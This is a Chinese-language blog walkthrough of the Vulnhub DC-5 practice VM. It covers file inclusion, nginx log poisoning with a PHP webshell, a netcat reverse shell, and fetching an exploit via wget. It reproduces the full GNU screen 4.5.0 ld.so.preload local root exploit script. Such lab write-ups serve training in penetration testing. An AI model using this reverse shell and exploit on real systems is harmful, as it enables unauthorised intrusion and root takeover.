[Vulnhub] DC-5
创始人
2024-05-20 04:57:59
0

下载链接:https://download.vulnhub.com/dc/DC-5.zip

同DC-4 这个靶机也是只有一个flag 不过官方描述说这个可能提高了一点点难度

官方描述:

        据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的入口点可能很难识别,但它就在那里。您需要寻找一些与众不同的东西(随着页面刷新而改变的东西)。这有望为漏洞可能涉及的内容提供某种想法。

        仅作记录,不涉及 phpmailer 漏洞利用。:-)

        这个挑战的最终目标是获得root权限并读取唯一的flag

知识点:

  • 文件包含日志注入🐎
  • nc 反弹shell
  • python开启http服务&wget下载文件
  • suid-screen命令提权

目录

<1> 信息搜集

<2> ngnix日志注入一句话木马

<3> 反弹shell

<4> Privilege Escalation(提权)


<1> 信息搜集

扫一下靶机的ip

nmap -sP 192.168.236.0/24 扫描一下靶机ip

靶机ip: 192.168.236.135

nmap -A -p 1-65535 192.168.236.135 扫描一下靶机开放哪些服务

 

 访问80开放的http服务查看一下有没有可利用信息

发现在我们contact一栏,提交的时候 Copyright © 2019 变为了 Copyright © 2018

 使用dirsearch工具爆破目录,爆破出网站子域名,(dirb,gobuster都试了 字典不如dirsearch)

挨个访问看一下,发现访问/footer.php时会出现动态变化

thankyou.php不断刷新,下面也会发生变化。猜想thankyou.php调用footer.php,可能存在文件包含漏洞

那他会不会是通过传递参数来包含的呢,尝试?file=a 发现Copyright © 2019消失,file=footer.php 又出现,可以看见file参数存在文件包含漏洞 测试/etc/passwd 成功

<2> ngnix日志注入一句话木马

 服务器为ngnix,尝试进行日志注入,写一句话木马

ngnix日志文件路径:/var/log/nginx/access.log

burp抓包,修改file参数为/var/log/nginx/access.log   更改UA头为一句话木马,

变为空白,证明一句话🐎被当成php代码执行 蚁剑链接

<3> 反弹shell

本机kali 监听4444端口

nc -lvvp 4444

蚁剑打开虚拟终端

nc 192.168.236.128 -e /bin/bash 4444

拿到shell之后  转为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

<4> Privilege Escalation(提权)

尝试sudo -l 发现没有信息

再尝试看看是否存在suid权限的命令

find / -user root -perm -4000 -print 2>/dev/null

 发现/bin/screen-4.5.0,本地提权漏洞

 searchsploit screen 4.5.0  找到提权脚本

searchsploit -m 41154.sh 下载下来

 python开启一个http服务,用于靶机wget下载文件

python -m http.server 1234

注:其他目录没有写入文件的权限。只能wget下载到/tmp目录下

wget http://192.168.236.128:1234/41154.sh

在/tmp/目录下执行41154.sh 

赋予执行权限chmod 777 41154.sh
运行41154.sh

成功提权为root权限

进入/root 拿到flag

 如果不能执行的话,按照41154.sh文件里的命令 自己去编译 生成一下。也可以搞定

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include 
#include 
#include 
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include 
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
【PdgCntEditor】解... 一、问题背景 大部分的图书对应的PDF,目录中的页码并非PDF中直接索引的页码...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
修复 爱普生 EPSON L4... L4151 L4153 L4156 L4158 L4163 L4165 L4166 L4168 L4...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...